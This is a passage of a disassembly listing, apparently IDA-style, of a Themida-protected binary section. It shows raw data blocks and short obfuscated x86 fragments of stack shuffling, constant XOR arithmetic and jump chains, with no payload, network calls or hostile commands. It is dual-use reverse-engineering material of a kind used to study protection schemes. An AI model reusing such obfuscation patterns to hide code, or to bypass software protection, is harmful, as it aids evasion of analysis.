dd 0FFFF9B47h, 83240C8Bh, 815E04C4h, 4C6h, 0E0895000h
dd 405h, 42D00h, 64E90000h, 2DFFFF65h, 7B9676D9h, 29326853h
dd 1C8B60B9h, 4C48324h, 6B106851h, 0E9592674h, 0FFFEDC5Bh
dd 0DAF6CAFEh, 7774E953h, 8951FFFFh, 4C181E1h, 53000000h
dd 4BBh, 5BD90100h, 5C240C87h, 7E7668h, 24348900h, 7F46B850h
dd 0E8E9A504h, 0C1FFFFBFh, 0EA8308EAh, 68FFh, 14290000h
dd 0EA815A24h, 4FB16377h, 407FBB53h, 0E38107DCh, 100F2A4Ah
dd 778BEB81h, 0EB8154ADh, 6D34665Ch, 0FF52CEE9h, 53FD29FFh
dd 8F44FEBBh, 11B95130h, 0F75BEB45h, 63E981D9h, 0C16A3D26h
dd 814902E1h, 0BF18B8F1h, 59CD29DCh, 0E1E9DD29h, 81FFFF82h
dd 7E7B67E1h, 0B9E1813Ah, 0E9625E2Eh, 0FFFF221Fh
; ---------------------------------------------------------------------------
loc_5661FC: ; CODE XREF: Themida_:00557AAFj
pop dword ptr [esp]
pop esp
jmp loc_56254E
; ---------------------------------------------------------------------------
loc_566205: ; CODE XREF: Themida_:0055A208j
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55A5EF
; ---------------------------------------------------------------------------
dd 89241C89h, 4C381E3h, 81000000h, 4C3h, 241C3300h, 33241C31h
dd 505C241Ch, 50ACB866h, 0E9E8D166h, 0FFFECACEh, 7830E94Bh
dd 48BFFFFh, 4C48124h, 81000000h, 0B3544AEEh, 81CE012Fh
dd 0B3544AC6h, 0E2EE812Fh, 8B5F2A0Bh, 3CE9240Ch, 56FFFFA2h
dd 5C518DBEh, 5EF20123h, 81240C8Bh, 4C4h, 2C28300h, 0FF4291E9h
dd 46852FFh, 5A000000h, 7CEDC781h, 0D7012A34h, 7CEDEF81h
dd 1DE92A34h, 81FFFF4Ch, 0A61846EDh, 0DCF5810Bh, 1CC7111h
dd 8CE95DEAh, 0FEFFFFAFh, 53F886CFh, 0E780E9B7h, 50DFF6DBh
dd 0FFD8DFE9h, 66792CFFh, 0E9241C8Bh, 0FFFF8296h, 0BF57E589h
dd 54917160h, 8102EFC1h, 245C5CF7h, 4EC8115h, 89000000h
dd 0BD552404h, 20C329FFh, 0A6E9E889h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56630B: ; CODE XREF: Themida_:005656C3j
pop ebp
add edx, ebx
pop ebx
jmp loc_555434
; ---------------------------------------------------------------------------
dd 0B9240C89h, 3E144F38h, 0FFF35FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566321: ; CODE XREF: Themida_:0056368Cj
xor bl, dh
mov edx, [esp]
add esp, 4
jmp loc_553F78
; ---------------------------------------------------------------------------
loc_56632E: ; CODE XREF: Themida_:00563582j
inc cl
sub cl, 1Ch
add dh, cl
pop ecx
jmp loc_56164C
; ---------------------------------------------------------------------------
db 8Bh
dd 68502424h, 2E99180Fh, 8124048Bh, 4C4h, 0FFC08300h, 0D0F7D0F7h
dd 1A05D0F7h, 515C7F46h, 5FE9C189h, 89FFFED1h, 7E92404h
dd 5AFFFF97h, 42C992Ch, 2B2768h, 240C8900h, 88B9B353h
dd 0E8005BDDh, 2CD80059h, 4D20E9B9h, 0C2B8FFFFh, 2D253D61h
dd 2DF246C2h, 4550BB53h, 0D8210611h, 0FFF36AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5663A1: ; CODE XREF: Themida_:0055A557j
pop esi
sub esp, 4
mov [esp], ecx
mov ecx, 4
add eax, ecx
pop ecx
xchg eax, [esp]
mov esp, [esp]
loc_5663B6: ; CODE XREF: Themida_:0055472Bj
; Themida_:005601F4j
push 67D8h
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55A618
; ---------------------------------------------------------------------------
db 66h, 53h, 52h
dd 0DFB39BB2h, 148BD330h, 98E95124h
db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5663DB: ; CODE XREF: Themida_:0055FFC5j
add ebx, 0FFFFFFFFh
push edi
mov edi, 0F5F9AFD3h
xor ebx, edi
pop edi
mov edi, ebx
jmp loc_5623AE
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 353468h, 241C8900h
dd 0E9E0B551h, 0FFFFBF21h, 39C168h, 242C8900h, 0C5815D54h
dd 4, 4C581h, 2C870000h, 0CDC8E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_566432: ; CODE XREF: Themida_:005574B2j
sub edi, 6B132BD4h
add edi, esi
add edi, 6B132BD4h
pop esi
xor edi, [esp]
xor [esp], edi
jmp loc_567AD4
; ---------------------------------------------------------------------------
dd 40AFEE81h, 0C6016365h, 40AFC681h, 0C6816365h, 597512BBh
dd 20F368h, 24148900h, 0E82B850h, 7B681CB0h, 89000040h
dd 2C812404h, 124h, 321BE900h, 0C681FFFFh, 4, 8704EE83h
dd 248B2434h, 24048924h, 0E951D888h, 0FFFF34E8h, 4C681h
dd 0EE830000h, 24348704h, 76D5E95Ch, 0C14FFFFFh, 37E908E7h
dd 5EFFFFD9h, 5C24048Fh, 2424D366h, 0C772E99Ch, 8146FFFEh
dd 2921E1F6h, 0E6C14E2Bh, 5E6C107h, 0E85FC681h, 0F3310B14h
dd 8324348Bh, 0D82904C4h, 0F669E95Bh, 8B66FFFEh, 0EC812404h
dd 4, 68240489h, 5FFAh, 24048F54h, 4240483h, 0E6BB5358h
dd 0E92BC028h, 0FFFF6874h, 0F564C681h, 0F50149E8h, 0D2F5815Eh
dd 4D3B3560h, 2215ED81h, 0E9514648h, 0FFFFB3D4h, 8324148Bh
dd 0B15104C4h, 0B6E952E4h
db 12h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56653B: ; CODE XREF: Themida_:00561388j
pop ebp
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
push 43BDh
mov [esp], ebx
push 284E7D81h
jmp loc_55ADB4
; ---------------------------------------------------------------------------
dd 0E789575Dh, 0F4ADE951h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56657E: ; CODE XREF: Themida_:0055566Dj
add esp, 4
jmp loc_5603C1
; ---------------------------------------------------------------------------
dw 0CE25h
dd 53AEC02h, 47EA7935h, 8158C221h, 55B5D5EAh, 5318E9C5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56659E: ; CODE XREF: Themida_:00556E54j
dec eax
shl eax, 8
sub eax, 46408939h
add ebx, 4B8046D5h
jmp loc_55A966
; ---------------------------------------------------------------------------
dw 0B868h
dd 89000003h, 32E9241Ch
db 0, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5665BF: ; CODE XREF: Themida_:00558CA5j
add esi, ebp
add esi, 1FF83234h
pop ebp
sub esp, 4
mov [esp], esi
pop edx
pop esi
jmp loc_552EE1
; ---------------------------------------------------------------------------
dd 89241489h, 4EC81E2h, 0E9000000h, 0FFFF8E0Fh, 4EA81h
dd 14870000h, 34895C24h, 0EB34E924h, 0F201FFFEh, 26ABBD55h
dd 0E5C1254Eh, 0F5814D04h, 6D580242h, 0FFAC14E9h, 2454F6FFh
dd 0C8B6601h, 2C48124h, 66000000h, 0E081E950h, 0E952FFFFh
dd 0FFFFC8ADh, 31243433h, 34332434h, 34FF5C24h, 0EC815A24h
dd 4, 83243489h, 248904ECh, 24048324h, 24348B04h, 5704C483h
dd 88E95053h, 81FFFF10h, 4ECh, 24148900h, 74240481h, 0E941EA5Bh
dd 0FFFFE35Ch, 9C2404FEh, 0FEC5BFE9h, 0E9D7F7FFh, 0FFFF4C1Fh
; ---------------------------------------------------------------------------
loc_566680: ; CODE XREF: Themida_:00564728j
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_564C52
; ---------------------------------------------------------------------------
dd 1C8B505Bh, 4C48124h, 0E9000000h, 0FFFF85CEh
; ---------------------------------------------------------------------------
loc_5666A0: ; CODE XREF: Themida_:0055FCDFj
add ebx, 22327E3Bh
jmp loc_55692A
; ---------------------------------------------------------------------------
db 0C1h
dd 0E2C103EAh, 22AAE907h, 0CD80FFFFh, 0F6D5F6F6h, 1ED80D5h
dd 0E957C580h, 0FFFFB10Dh, 0E92434FFh, 0FFFFB2D0h, 4C481h
dd 4050000h, 68000000h, 6C2Dh, 55243C89h, 0FF3CC0E9h, 59C800FFh
dd 0E951F028h, 0FFFF43B7h, 14F65266h, 885A6624h, 805A66D5h
dd 0EE0023C5h, 0E9F02859h, 0FFFFFCE5h
; ---------------------------------------------------------------------------
loc_56670C: ; CODE XREF: Themida_:0055D766j
push ebp
mov ebp, 8E37397h
and esi, ebp
jmp loc_55F8D1
; ---------------------------------------------------------------------------
db 81h, 0EEh, 0A4h
dd 8165D731h, 0C0940BC6h, 5EF001E7h, 8958C629h, 24348BF0h
dd 8104C483h, 1808B5EBh, 150DE90Dh, 0FF590000h, 0E9582434h
dd 0FFFFFF88h, 83241489h, 896602ECh, 6DB02404h, 9CE9C288h
dd 89FFFF94h, 2BB241Ch, 0E9000000h, 0FFFF5F1Dh, 4EC81h
dd 1C890000h, 6406BB24h, 0E381687Fh, 66BE3457h, 487534Bh
dd 87D0F724h, 0E95B2404h, 0FFFF097Dh
; ---------------------------------------------------------------------------
loc_56678C: ; CODE XREF: Themida_:0055E207j
add edi, esi
jmp loc_55FD78
; ---------------------------------------------------------------------------
loc_566793: ; CODE XREF: Themida_:00563ADBj
mov esi, edx
pop edx
jmp loc_567EC2
; ---------------------------------------------------------------------------
loc_56679B: ; CODE XREF: Themida_:005545D1j
add esp, 4
xchg ebp, [esp]
pop esp
jmp loc_55BD44
; ---------------------------------------------------------------------------
dw 0C181h
dd 814515Bh, 0BB53D9F7h, 5EB47AB2h, 815BD931h, 0F354E0F1h
dd 0E9CD0922h, 0FFFF658Ch, 0B8240489h, 4C245EE4h, 70978268h
dd 0C12959B7h, 0FFA147E9h, 81DAF7FFh, 0B700F6F2h, 0E0ABE978h
dd 0BDB8FFFEh, 311DDE6Fh, 0C2895FF8h, 3617E958h, 0F181FFFFh
dd 0D7BF1403h, 0FF4CA7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566805: ; CODE XREF: Themida_:005554C5j
push 52B3h
mov [esp], ebx
push 1
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_567027
; ---------------------------------------------------------------------------
loc_56682B: ; CODE XREF: Themida_:0055BD24j
pop edx
shl esi, 5
xor esi, 3C35BB60h
jmp loc_5626B6
; ---------------------------------------------------------------------------
dw 0EA81h
dd 6B752925h, 28FDC281h, 0EA816D9Dh, 0FBB712Eh, 3AECC281h
dd 0C2011077h, 3CBFBD55h, 0EDC10CD6h, 55C58103h, 290EDC73h
dd 2A96E9EAh, 0EB81FFFFh, 11E52267h, 5B15EB81h, 0C3810108h
dd 20A95517h, 0EB81F301h, 20A95517h, 5B15C381h, 0C3810108h
dd 11E52267h, 241C875Eh, 7E5C15Ch, 6B9AED81h, 81553728h
dd 7F9E242Ch, 815F6949h, 497F9EC7h, 3FE95D69h
db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5668B3: ; CODE XREF: Themida_:0055DB66j
pop eax
jmp loc_56138D
; ---------------------------------------------------------------------------
loc_5668B9: ; CODE XREF: Themida_:0055D532j
mov bh, 68h
jmp loc_564309
; ---------------------------------------------------------------------------
dd 4BA52h, 0D3010000h, 8324148Bh, 4AE904C4h
db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5668D3: ; CODE XREF: Themida_:00561D21j
push 372Eh
mov [esp], esi
jmp loc_55F805
; ---------------------------------------------------------------------------
dd 4A1CBF57h, 0D1E93644h
db 0CAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5668EB: ; CODE XREF: Themida_:00554E54j
neg al
jmp loc_552E6C
; ---------------------------------------------------------------------------
dw 6FBEh
dd 55C4885Dh, 0EB89F589h, 15E95E5Dh, 87FFFEEAh, 0D5E92414h
dd 89FFFEDCh, 5052241Ch, 0B151A3B4h, 59CC2885h, 0FFAEFCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56691D: ; CODE XREF: Themida_:00553AC4j
push 53F3h
mov [esp], esp
jmp loc_5659AB
; ---------------------------------------------------------------------------
dw 0E950h
dd 0FFFFE112h, 5C240487h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_554871
; ---------------------------------------------------------------------------
loc_566942: ; CODE XREF: Themida_:00564670j
xor ebx, [esp]
mov esp, [esp]
push ebx
push esp
jmp loc_5537FD
; ---------------------------------------------------------------------------
loc_56694F: ; CODE XREF: Themida_:005604F6j
mov edx, [esp]
add esp, 4
shr edx, 2
dec edx
jmp loc_5653BE
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0FED5B1E9h, 69A1BEFFh, 53E925A1h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566973: ; CODE XREF: Themida_:00557237j
pop ecx
add ebp, 0FFFFFFFFh
jmp loc_5551AE
; ---------------------------------------------------------------------------
dd 4EC81h, 34890000h, 8DAEE924h, 74FFFFFFh, 33E90424h
dd 81FFFEDDh, 201BEE2h, 0B8BE95Bh, 2C87FFFFh, 0A98BE924h
dd 0C483FFFFh, 4B95104h, 1000000h, 0BDE959CBh
db 13h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5669B7: ; CODE XREF: Themida_:0055CD01j
add ebp, 4
jmp loc_557FBF
; ---------------------------------------------------------------------------
loc_5669C2: ; CODE XREF: Themida_:00561298j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
push edi
mov edi, 4
push ebx
mov ebx, 194B5071h
jmp loc_561AE0
; ---------------------------------------------------------------------------
db 0F7h
dd 240C87D1h, 240CE95Bh, 3487FFFFh, 0C8E95C24h, 87FFFFCCh
dd 87D1F7CEh, 0DAE681CEh, 0E97CE937h, 0FFFEF2CAh, 32D7BD55h
dd 18E92C67h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566A1F: ; CODE XREF: Themida_:00557411j
push eax
mov al, 86h
push ebx
mov bh, 0Fh
and bh, 0F4h
jmp loc_560CC8
; ---------------------------------------------------------------------------
align 2
dw 8BF3h
dd 0C4812414h, 4, 0D6E9CB28h, 5BFFFF6Bh, 4C381h, 0C3830000h
dd 0D5ACE904h, 83ADFFFFh, 0C8904ECh, 2000B924h, 51521382h
dd 33578068h, 240C8B55h, 0FF9F06E9h, 0C8966FFh, 0AA686624h
dd 1C896668h, 22FFE924h, 31ADFFFFh, 0EC8353D8h, 887FE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566A86: ; CODE XREF: Themida_:00568024j
push edx
mov edx, edi
push edx
pop ecx
pop edx
pop edi
add eax, ecx
pop ecx
push 6FE8h
mov [esp], ecx
jmp loc_55B5AA
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 5000000h, 1CEE572Ah, 0AB2AB42Dh, 0E9D80179h, 0FFFF22F9h
; ---------------------------------------------------------------------------
loc_566AB4: ; CODE XREF: Themida_:0055A690j
sub esp, 4
jmp loc_566C19
; ---------------------------------------------------------------------------
dd offset dword_4D4218+3E50h
dd 24048900h, 0FFA741E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566AC9: ; CODE XREF: Themida_:0055F9ACj
pop eax
jmp loc_55A601
; ---------------------------------------------------------------------------
loc_566ACF: ; CODE XREF: Themida_:0055B785j
mov eax, 482E384Ah
add eax, 22045D70h
not eax
jmp loc_56352C
; ---------------------------------------------------------------------------
loc_566AE0: ; CODE XREF: Themida_:005538CBj
pop edx
sub esp, 4
mov [esp], ecx
mov ecx, 1CB1320h
jmp loc_558EA9
; ---------------------------------------------------------------------------
loc_566AF4: ; CODE XREF: Themida_:005582A6j
add ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
pop ecx
jmp loc_552C38
; ---------------------------------------------------------------------------
db 1
dd 0F7EA81C2h, 8313900Bh, 0FE904ECh, 87FFFF6Fh, 0E95C243Ch
dd 0FFFF746Eh
; ---------------------------------------------------------------------------
loc_566B1C: ; CODE XREF: Themida_:0055DE8Bj
or edx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
sub edx, 1
xor edx, 6FFB497Eh
jmp loc_555220
; ---------------------------------------------------------------------------
loc_566B36: ; CODE XREF: Themida_:005594FCj
mov cl, dl
pop dx
add bl, cl
pop cx
push 54DDh
mov [esp], edx
jmp loc_55A5B6
; ---------------------------------------------------------------------------
db 56h
dd 0FF1EDAE9h, 5AF381FFh, 893DAE5Dh, 2434FFD9h, 83241C8Bh
db 0C4h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_566FD6
; ---------------------------------------------------------------------------
loc_566B6A: ; CODE XREF: Themida_:0055C7A8j
xor [esp], eax
jmp loc_55FC7A
; ---------------------------------------------------------------------------
loc_566B72: ; CODE XREF: Themida_:00561028j
mov edx, 4
add ebp, edx
pop edx
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 7BF7h
mov [esp], esi
jmp loc_563641
; ---------------------------------------------------------------------------
dd 4C581h, 2C870000h, 0D1D0E924h, 159FFFFh, 4F29E9D1h
dd 8B66FFFFh, 8951240Ch, 0F9BB53E1h, 4B120B6Ah, 0D2F7D387h
dd 0EBD1D387h, 5C97E381h, 0EBC13C60h, 0A1FFE905h, 8A68FFFFh
dd 8900000Dh, 0A6E92424h, 68FFFFABh, 0AFCh, 0E9243C89h
dd 0FFFFCA81h
; ---------------------------------------------------------------------------
loc_566BE8: ; CODE XREF: Themida_:0055D792j
add ecx, 9ECD1A83h
xor [edi+20h], ecx
pop ecx
loc_566BF2: ; CODE XREF: Themida_:0055AE92j
; Themida_:00567E00j
push dword ptr [esp]
jmp loc_556DC2
; ---------------------------------------------------------------------------
dw 0BA52h
dd 4, 0FFA736E9h, 3F280FFh, 33E9D120h, 0BFFFFF25h, 0FD54459Ah
dd 0FF493AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566C19: ; CODE XREF: Themida_:00566AB7j
mov [esp], edi
push 656952CEh
mov edi, [esp]
add esp, 4
push ebp
mov ebp, 456560C1h
xor edi, ebp
pop ebp
sub edi, 200BF20Fh
push edi
add dword ptr [esp], 2C3C6C2Bh
pop ebx
sub ebx, 2C3C6C2Bh
mov edi, [esp]
sub esp, 4
mov [esp], eax
push esp
pop eax
push ebx
jmp loc_55F7CC
; ---------------------------------------------------------------------------
db 81h, 0C2h, 4
dd 81000000h, 4EAh, 24148700h, 2414895Ch, 4BAh, 246C8100h
dd 7E499404h, 24540107h, 24448104h, 7E499404h, 34FF5A07h
dd 0C4815F24h, 4, 5B086855h, 4890000h, 178FB824h, 93BD69A7h
dd 0E969A717h, 0FFFEEBF3h, 5859CF01h, 4EF81h, 89500000h
dd 405E0h, 4EE90000h, 83FFFFECh, 0C8704C1h, 24248B24h
dd 3108E8C1h, 784668C8h, 99E90000h, 0FFFFFFA1h, 0E95E2434h
dd 0FFFF2DCEh, 1C8BDD01h, 4C48324h, 0E904C583h, 0FFFF6763h
dd 811C381h, 0EB832F4Ch, 14F753FFh, 0C3815B24h, 0CF3B67A2h
dd 5F5BDD29h, 8B242C87h, 0E9552424h, 0FFFFEDF6h, 4BAh
dd 8BD52900h, 0C4812414h, 4, 8B242C87h, 1C892424h, 6066824h
dd 2AE90000h, 0ADFFFFD6h, 0A963E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566D3E: ; CODE XREF: Themida_:0055733Dj
sub esp, 4
mov [esp], ebx
mov ebx, 4
add ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_55ED3D
; ---------------------------------------------------------------------------
dd 9BBA525Ch, 8148527Dh, 5C75F0C2h, 78CA817Ah, 576E1F76h
dd 1328BBFh, 0AFACE919h, 3489FFFFh, 1295BE24h, 0FAE964D3h
dd 83FFFED4h, 3E6804C4h, 89000010h, 0F0682414h, 0E9000029h
dd 0FFFFBA3Ah, 240C8B66h, 0FF56E6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566DA5: ; CODE XREF: Themida_:0055E6FFj
push 18A1h
mov [esp], ebx
push ecx
mov ch, al
mov bh, ch
pop ecx
jmp loc_56160E
; ---------------------------------------------------------------------------
loc_566DB8: ; CODE XREF: Themida_:0055AD19j
pop eax
push esi
jmp loc_559826
; ---------------------------------------------------------------------------
db 0FFh
dd 34FF2434h, 241C8B24h, 4C481h, 68520000h, 6F08h, 81242489h
dd 42404h, 815A0000h, 4C2h, 4B85000h, 1000000h, 0B4E958C2h
dd 0B7FFFF9Eh, 2E7C02Ah, 0FF5C34E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566DFD: ; CODE XREF: Themida_:00557877j
push ebx
push 24h
pop ebx
add ebx, 0C3E15D8h
sub ebx, 17B55DC7h
add ebx, edi
jmp loc_562B36
; ---------------------------------------------------------------------------
db 28h
dd 240C8BEAh, 2804C483h, 24148BD7h, 0FE04C483h, 80D7F6CFh
dd 0F800DFEFh, 0FFC055E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566E35: ; CODE XREF: Themida_:005540E6j
push ebp
pop edx
pop ebp
mov ecx, [esp]
add esp, 4
and eax, edx
pop edx
shr eax, 0Ah
xor eax, ecx
push 23BBh
mov [esp], eax
xchg edi, [esp]
xchg edx, edi
not edx
xchg edx, edi
xor [esp], edi
jmp loc_5572A2
; ---------------------------------------------------------------------------
loc_566E5F: ; CODE XREF: Themida_:00566EE8j
push ebx
mov ebx, 24DF4023h
shl ebx, 8
xor ebx, 61347056h
jmp loc_555555
; ---------------------------------------------------------------------------
db 5Eh
dd 0D0C9E95Dh, 8B66FFFFh, 0F9E9240Ch, 5DFFFFFAh, 0AB9B850h
dd 0F1E905FDh, 29000010h, 0D3015EF3h, 6689C381h, 54553E39h
dd 4C5815Dh, 83000000h, 86E904EDh, 81000001h, 0E621DEC6h
dd 0E9D6F70Dh, 0FFFFA8BCh, 0BE56E289h, 46772122h, 541AF681h
dd 0F6817C07h, 3A70753Ch, 38E9F201h
db 3Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566ED3: ; CODE XREF: Themida_:0055D598j
add ebp, 4
sub esp, 4
mov [esp], ebx
push 4
pop ebx
jmp loc_566E5F
; ---------------------------------------------------------------------------
loc_566EED: ; CODE XREF: Themida_:00556E12j
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], ecx
jmp loc_559FB1
; ---------------------------------------------------------------------------
db 0FFh
dd 51533C77h, 4B15BDB9h, 0E9CB8909h, 0FFFF820Ch, 5C240C87h
dd 8904EC83h, 0C4E9241Ch
db 2 dup(0FEh), 0FFh
; ---------------------------------------------------------------------------
loc_566F23: ; CODE XREF: Themida_:0055653Fj
mov ecx, esp
sub esp, 4
jmp loc_55CC2D
; ---------------------------------------------------------------------------
db 8Bh, 3Ch, 24h
dd 8B04C483h, 0C4812404h, 4, 0FFC34EE9h, 10B951FFh, 13B1729h
dd 5908244Ch, 0FF1853E9h, 81008FFFh, 2C135E00h, 0D9E95D2Ch
dd 0FFFEBCh, 0C561E9F7h, 0C701FFFFh, 905CE958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566F6E: ; CODE XREF: Themida_:00564045j
pop esp
push edi
mov edi, esp
push esi
mov esi, 741876FEh
jmp loc_5675B0
; ---------------------------------------------------------------------------
db 53h, 89h, 0E3h
dd 4C381h, 72E90000h, 5CFFFF43h, 5124348Bh, 0FFDFF1E9h
dd 0A5E980FFh, 0C8BCB00h, 4C48324h, 0FFC0B60Fh, 48B8734h
dd 58545024h, 4FB95152h, 0BA651B03h, 0B4161BFDh, 0F759CA29h
dd 686568D2h, 3C890000h, 9AB95124h, 5606AA6Bh, 0AB745ABEh
dd 0DD6DE917h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566FD6: ; CODE XREF: Themida_:00566B65j
add ebp, 4
jmp loc_55A389
; ---------------------------------------------------------------------------
db 58h, 87h, 34h
dd 48F5C24h, 8B665C24h, 89512404h, 4C181E1h, 83000000h
dd 0C3304E9h, 240C3124h, 0FF7C85E9h, 6CBF57FFh, 0C15CCB76h
dd 9BE908EFh, 8BFFFFF4h, 89532404h, 4EC81E3h, 89000000h
dd 0AE92434h
db 1Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567027: ; CODE XREF: Themida_:00566826j
mov [esp], ebx
mov ebx, esp
jmp loc_563A3E
; ---------------------------------------------------------------------------
db 87h, 2Ch, 24h
dd 0FF23D0E9h, 0B7BD55FFh, 0C138C942h, 0F58105EDh, 11A5366Ch
dd 0E902E5C1h, 0FFFEE91Bh, 0FF2434FFh, 81582434h, 4C4h
dd 4885E900h, 0E955FFFFh, 0FFFF17A0h, 1333EB81h, 0DE01071Eh
dd 0F9E1E95Bh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_567076: ; CODE XREF: Themida_:00554A35j
mov esi, [esp]
add esp, 4
push ebp
push edi
mov edi, 646C50FDh
mov ebp, 0D465BFB2h
sub ebp, edi
pop edi
shl ebp, 2
push ecx
mov ecx, 401A4530h
add ebp, ecx
pop ecx
jmp loc_55C81B
; ---------------------------------------------------------------------------
loc_56709F: ; CODE XREF: Themida_:00555BF2j
add edi, eax
pop eax
push ebx
push eax
push ebx
push 69394715h
jmp loc_56191C
; ---------------------------------------------------------------------------
db 0BBh
dd 0A03FF410h, 815BDE31h, 1D1E44C3h, 5692E90Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5670C2: ; CODE XREF: Themida_:00558262j
mov dl, 6Dh
sub bl, dl
pop dx
pop edx
add bl, 0C4h
add bl, al
push ax
jmp loc_55CAD7
; ---------------------------------------------------------------------------
db 81h, 0C6h, 63h
dd 8141B625h, 0A1723CEEh, 76E95808h
db 32h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5670E7: ; CODE XREF: Themida_:0055D8D5j
push ebp
mov ebx, [esp]
jmp loc_55FFBA
; ---------------------------------------------------------------------------
dd 6A67BD55h, 0B8500186h, 6EEC46DFh, 8158C529h, 9C5F7CE5h
dd 4B9511Ah, 1676F93h, 0EA2959CDh, 8B5E525Dh, 0C4832414h
dd 90B95104h, 816E1051h, 3D0F55E1h, 0CFF5167h, 2414F724h
dd 0FFB528E9h, 0A2C381FFh, 5A44750Bh, 4EC81h, 2C890000h
dd 79A7BD24h, 0F581001Eh, 1E79A5h, 70C9C381h, 0EB817A17h
dd 4A12C37h, 0FEDD14E9h, 4F095EFFh, 0A0E1E91Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567166: ; CODE XREF: Themida_:00564C4Dj
add edi, 3D8A2DDEh
add edi, ecx
sub edi, 3D8A2DDEh
pop ecx
xor edi, [esp]
jmp loc_55A680
; ---------------------------------------------------------------------------
loc_56717D: ; CODE XREF: Themida_:005618CBj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_559621
; ---------------------------------------------------------------------------
loc_56718E: ; CODE XREF: Themida_:00553CA2j
pop esi
push eax
mov eax, 62810D9Dh
xor ebp, eax
pop eax
push edx
jmp loc_565094
; ---------------------------------------------------------------------------
dw 5352h
dd 920ED968h, 0A9E95B28h, 5BFFFF76h, 6479BE56h, 0EE811FE4h
dd 35057DBBh, 0F681EED1h, 756F735Bh, 27E9F301h, 81FFFF76h
dd 0CFB306EDh, 5DE9018Ah, 2FEAC181h, 0E98161CAh, 23162CF3h
dd 0FFC6A7E9h, 8EEC1FFh, 8107EEC1h, 11F7EF6h, 5EF18900h
dd 0E959CE29h, 0FFFF07F8h, 4EC81h, 1C890000h, 3193BB24h
dd 0F3811F40h, 2C9C3FFBh, 0DCE38143h, 815F1474h, 0EBFBBCC3h
dd 5BDF01ECh, 4EC81h, 2C890000h, 0C185E924h, 0CE31FFFFh
dd 0FEDEAEE9h, 7EBC1FFh, 66A9CB81h, 0E9521AD4h, 0FFFFE2CEh
; ---------------------------------------------------------------------------
loc_567240: ; CODE XREF: Themida_:0055489Fj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor esi, 4A5F0DE5h
pop eax
and ecx, esi
push dword ptr [esp]
jmp loc_5567BF
; ---------------------------------------------------------------------------
db 5Ch
dd 0FFABEEE9h, 105FFh, 0BA520000h, 82818FE5h, 2048A72Dh
dd 5D0294Fh, 4F2048A7h, 0F0BE565Ah, 0E951C146h, 0FFFF33AFh
; ---------------------------------------------------------------------------
loc_56728C: ; CODE XREF: Themida_:00556863j
sub edx, eax
pop eax
xor esi, edx
mov edx, [esp]
add esp, 4
push edi
mov edi, 5AD568CEh
sub esi, edi
mov edi, [esp]
jmp loc_55652E
; ---------------------------------------------------------------------------
dw 0C87h
dd 24048B24h, 0FFEEB1E9h, 8EFC1FFh, 71CCBD55h, 0EF295163h
dd 0E2E7E95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5672C6: ; CODE XREF: Themida_:00562496j
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5678F7
; ---------------------------------------------------------------------------
